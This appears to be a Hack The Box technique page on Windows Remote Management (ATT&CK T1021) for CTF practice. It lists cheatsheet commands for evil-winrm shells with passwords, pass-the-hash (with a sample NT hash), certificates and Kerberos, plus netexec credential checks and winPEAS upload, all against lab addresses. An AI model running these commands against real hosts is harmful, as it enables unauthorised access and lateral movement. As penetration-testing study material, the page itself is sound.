Windows Remote Management
Sub-technique of T1021 Remote Services ↗
Connecting over WinRM (port 5985/5986) to get a remote PowerShell shell.
How it shows up on Hack The Box
If the user is in Remote Management Users, evil-winrm with a password, hash or certificate gives you a comfortable shell with file upload and download.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
File transfer › Windows
Upload and download with evil-winrm
upload /ruta/local/fichero.exe
download C:\ruta\ficheroWindows and Active Directory privilege escalation › Windows
WinRM
Attacker
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash with evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NTWindows and Active Directory privilege escalation › Active Directory
Check credentials and access
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'C2 and post-exploitation › Lateral movement
evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b
Enter-PSSession from Windows
Target
Enter-PSSession -ComputerName 10.10.11.20 -Credential box.htb\\usuarioEvil-WinRM › Ways to authenticate
Over HTTPS (port 5986)
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -S
With a certificate (from ADCS, for instance)
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
With Kerberos (KRB5CCNAME exported and krb5.conf set up)
evil-winrm -i dc01.box.htb -r box.htbEvil-WinRM › Inside the session
Load scripts from a folder and show the menu
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -s /opt/scripts
menuwinPEAS › Usage
Upload it with Evil-WinRM
Target
upload winPEASx64.exeNo command matches.